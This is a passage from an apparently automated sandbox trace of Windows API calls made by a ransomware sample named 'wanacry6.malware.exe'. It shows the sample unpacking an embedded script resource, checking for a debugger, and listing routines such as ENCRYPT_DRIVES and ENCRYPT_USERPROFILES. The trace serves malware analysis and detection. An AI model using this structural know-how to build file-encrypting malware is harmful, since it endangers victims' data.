returned 0x26 [0039.875] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0039.875] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0039.875] Wow64DisableWow64FsRedirection (in: OldValue=0xbf60cff930 | out: OldValue=0xbf60cff930*=0x0) returned 0 [0039.875] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0039.875] GetCurrentPackageId () returned 0x3d54 [0039.875] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbf60cff700, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0039.875] GetFileType (hFile=0x14c) returned 0x1 [0039.875] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0039.875] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0039.876] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0039.876] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0039.876] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0039.876] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xbf60cff9f8 | out: ppstm=0xbf60cff9f8*=0xbf60db6770) returned 0x0 [0039.880] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0039.880] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0039.880] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0039.880] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0039.880] ISequentialStream:RemoteWrite (in: This=0xbf60db6770, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0039.881] IStream:RemoteSeek (in: This=0xbf60db6770, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0039.881] IStream:RemoteSeek (in: This=0xbf60db6770, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xbf60cff8c8 | out: plibNewPosition=0xbf60cff8c8) returned 0x0 [0039.881] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60dc0a30, cb=0x18, pcbRead=0xbf60cff810 | out: pv=0xbf60dc0a30*=0xa3, pcbRead=0xbf60cff810*=0x18) returned 0x0 [0039.881] IStream:RemoteSeek (in: This=0xbf60db6770, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xbf60cff810 | out: plibNewPosition=0xbf60cff810) returned 0x0 [0039.881] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff8b0, cb=0x4, pcbRead=0xbf60cff810 | out: pv=0xbf60cff8b0*=0x45, pcbRead=0xbf60cff810*=0x4) returned 0x0 [0039.881] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff8e0, cb=0x10, pcbRead=0xbf60cff8b0 | out: pv=0xbf60cff8e0*=0x4d, pcbRead=0xbf60cff8b0*=0x10) returned 0x0 [0039.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cff770 | out: lpSystemTimeAsFileTime=0xbf60cff770*(dwLowDateTime=0x4b84a3fc, dwHighDateTime=0x1d31057)) [0039.881] IStream:RemoteSeek (in: This=0xbf60db6770, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xbf60cff948 | out: plibNewPosition=0xbf60cff948) returned 0x0 [0039.883] IStream:RemoteSeek (in: This=0xbf60db6770, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xbf60cff220 | out: plibNewPosition=0xbf60cff220) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cfefd0, cb=0x4, pcbRead=0xbf60cfefa0 | out: pv=0xbf60cfefd0*=0x6b, pcbRead=0xbf60cfefa0*=0x4) returned 0x0 [0039.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cfee60 | out: lpSystemTimeAsFileTime=0xbf60cfee60*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff238, cb=0x4, pcbRead=0xbf60cfefa0 | out: pv=0xbf60cff238*=0xa6, pcbRead=0xbf60cfefa0*=0x4) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cfefe0, cb=0x34, pcbRead=0xbf60cfefa0 | out: pv=0xbf60cfefe0*=0xe1, pcbRead=0xbf60cfefa0*=0x34) returned 0x0 [0039.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cfee60 | out: lpSystemTimeAsFileTime=0xbf60cfee60*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff238, cb=0x4, pcbRead=0xbf60cfefa0 | out: pv=0xbf60cff238*=0x43, pcbRead=0xbf60cfefa0*=0x4) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff6f0, cb=0xc6, pcbRead=0xbf60cfefa0 | out: pv=0xbf60cff6f0*=0xcd, pcbRead=0xbf60cfefa0*=0xc6) returned 0x0 [0039.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cfee60 | out: lpSystemTimeAsFileTime=0xbf60cfee60*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff930, cb=0x1, pcbRead=0xbf60cff220 | out: pv=0xbf60cff930*=0x0, pcbRead=0xbf60cff220*=0x1) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff250, cb=0x4, pcbRead=0xbf60cff220 | out: pv=0xbf60cff250*=0xbc, pcbRead=0xbf60cff220*=0x4) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff250, cb=0x4, pcbRead=0xbf60cff220 | out: pv=0xbf60cff250*=0xbc, pcbRead=0xbf60cff220*=0x4) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60cff250, cb=0x4, pcbRead=0xbf60cff220 | out: pv=0xbf60cff250*=0x84, pcbRead=0xbf60cff220*=0x4) returned 0x0 [0039.883] IStream:RemoteSeek (in: This=0xbf60db6770, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xbf60cff220 | out: plibNewPosition=0xbf60cff220) returned 0x0 [0039.883] ISequentialStream:RemoteRead (in: This=0xbf60db6770, pv=0xbf60dc03a0, cb=0x0, pcbRead=0xbf60cff220 | out: pv=0xbf60dc03a0*=0x0, pcbRead=0xbf60cff220*=0x0) returned 0x0 [0039.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cff0e0 | out: lpSystemTimeAsFileTime=0xbf60cff0e0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.883] CloseHandle (hObject=0x14c) returned 1 [0039.883] IUnknown:Release (This=0xbf60db6770) returned 0x0 [0039.884] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0039.884] IsDebuggerPresent () returned 0 [0039.884] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xbf60cdf970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0039.885] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpszLongPath=0xbf60cdf970, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0039.885] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xbf60cdf920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0039.885] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0039.885] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0039.885] Wow64DisableWow64FsRedirection (in: OldValue=0xbf60cef8a0 | out: OldValue=0xbf60cef8a0*=0x0) returned 0 [0039.885] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0039.885] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbf60cef670, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0039.886] GetFileType (hFile=0x14c) returned 0x1 [0039.886] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0039.886] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0039.886] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0039.886] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0039.886] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0039.887] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xbf60cef920 | out: ppstm=0xbf60cef920*=0xbf60db6bf0) returned 0x0 [0039.887] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0039.887] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0039.887] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0039.887] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0039.887] ISequentialStream:RemoteWrite (in: This=0xbf60db6bf0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xbf60cef838 | out: plibNewPosition=0xbf60cef838) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60dc0ce0, cb=0x18, pcbRead=0xbf60cef780 | out: pv=0xbf60dc0ce0*=0xa3, pcbRead=0xbf60cef780*=0x18) returned 0x0 [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xbf60cef780 | out: plibNewPosition=0xbf60cef780) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef820, cb=0x4, pcbRead=0xbf60cef780 | out: pv=0xbf60cef820*=0x45, pcbRead=0xbf60cef780*=0x4) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef850, cb=0x10, pcbRead=0xbf60cef820 | out: pv=0xbf60cef850*=0x4d, pcbRead=0xbf60cef820*=0x10) returned 0x0 [0039.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cef6e0 | out: lpSystemTimeAsFileTime=0xbf60cef6e0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xbf60cef8b8 | out: plibNewPosition=0xbf60cef8b8) returned 0x0 [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xbf60cef190 | out: plibNewPosition=0xbf60cef190) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60ceef40, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60ceef40*=0x6b, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60ceedd0 | out: lpSystemTimeAsFileTime=0xbf60ceedd0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1a8, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60cef1a8*=0xa6, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60ceef50, cb=0x34, pcbRead=0xbf60ceef10 | out: pv=0xbf60ceef50*=0xe1, pcbRead=0xbf60ceef10*=0x34) returned 0x0 [0039.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60ceedd0 | out: lpSystemTimeAsFileTime=0xbf60ceedd0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1a8, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60cef1a8*=0x43, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef660, cb=0xc6, pcbRead=0xbf60ceef10 | out: pv=0xbf60cef660*=0xcd, pcbRead=0xbf60ceef10*=0xc6) returned 0x0 [0039.887] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60ceedd0 | out: lpSystemTimeAsFileTime=0xbf60ceedd0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xbf60ceef10 | out: plibNewPosition=0xbf60ceef10) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60ceef48, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60ceef48*=0xbc, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.887] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xbf60ceef10 | out: plibNewPosition=0xbf60ceef10) returned 0x0 [0039.887] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60ceef40, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60ceef40*=0x6b, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60ceedd0 | out: lpSystemTimeAsFileTime=0xbf60ceedd0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1a8, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60cef1a8*=0xaf, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60ceef50, cb=0x26, pcbRead=0xbf60ceef10 | out: pv=0xbf60ceef50*=0xe6, pcbRead=0xbf60ceef10*=0x26) returned 0x0 [0039.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60ceedd0 | out: lpSystemTimeAsFileTime=0xbf60ceedd0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1a8, cb=0x4, pcbRead=0xbf60ceef10 | out: pv=0xbf60cef1a8*=0x47, pcbRead=0xbf60ceef10*=0x4) returned 0x0 [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef660, cb=0xce, pcbRead=0xbf60ceef10 | out: pv=0xbf60cef660*=0xbf, pcbRead=0xbf60ceef10*=0xce) returned 0x0 [0039.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60ceedd0 | out: lpSystemTimeAsFileTime=0xbf60ceedd0*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef8a0, cb=0x1, pcbRead=0xbf60cef190 | out: pv=0xbf60cef8a0*=0x1, pcbRead=0xbf60cef190*=0x1) returned 0x0 [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1c0, cb=0x4, pcbRead=0xbf60cef190 | out: pv=0xbf60cef1c0*=0x28, pcbRead=0xbf60cef190*=0x4) returned 0x0 [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1c0, cb=0x4, pcbRead=0xbf60cef190 | out: pv=0xbf60cef1c0*=0x23, pcbRead=0xbf60cef190*=0x4) returned 0x0 [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60cef1c0, cb=0x4, pcbRead=0xbf60cef190 | out: pv=0xbf60cef1c0*=0xf4, pcbRead=0xbf60cef190*=0x4) returned 0x0 [0039.888] IStream:RemoteSeek (in: This=0xbf60db6bf0, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xbf60cef190 | out: plibNewPosition=0xbf60cef190) returned 0x0 [0039.888] ISequentialStream:RemoteRead (in: This=0xbf60db6bf0, pv=0xbf60dc0ce0, cb=0x9394, pcbRead=0xbf60cef190 | out: pv=0xbf60dc0ce0*=0x6d, pcbRead=0xbf60cef190*=0x9394) returned 0x0 [0039.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf60cef050 | out: lpSystemTimeAsFileTime=0xbf60cef050*(dwLowDateTime=0x4b8706c9, dwHighDateTime=0x1d31057)) [0039.917] IUnknown:Release (This=0xbf60db6bf0) returned 0x0 [0039.918] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0039.918] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0039.918] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0039.918] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0039.918] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0039.918] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0039.918] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0039.918] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0039.918] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0039.919] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0039.919] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0039.919] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0039.919] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0039.919] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0039.919] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0039.919] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0039.919] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0039.919] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0039.919] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0039.919] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0039.919] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0039.919] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0039.919] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0039.919] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0039.920] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0039.920] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0039.921] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0039.921] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0039.921] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0039.921] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0039.921] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0039.921] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0039.921] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: 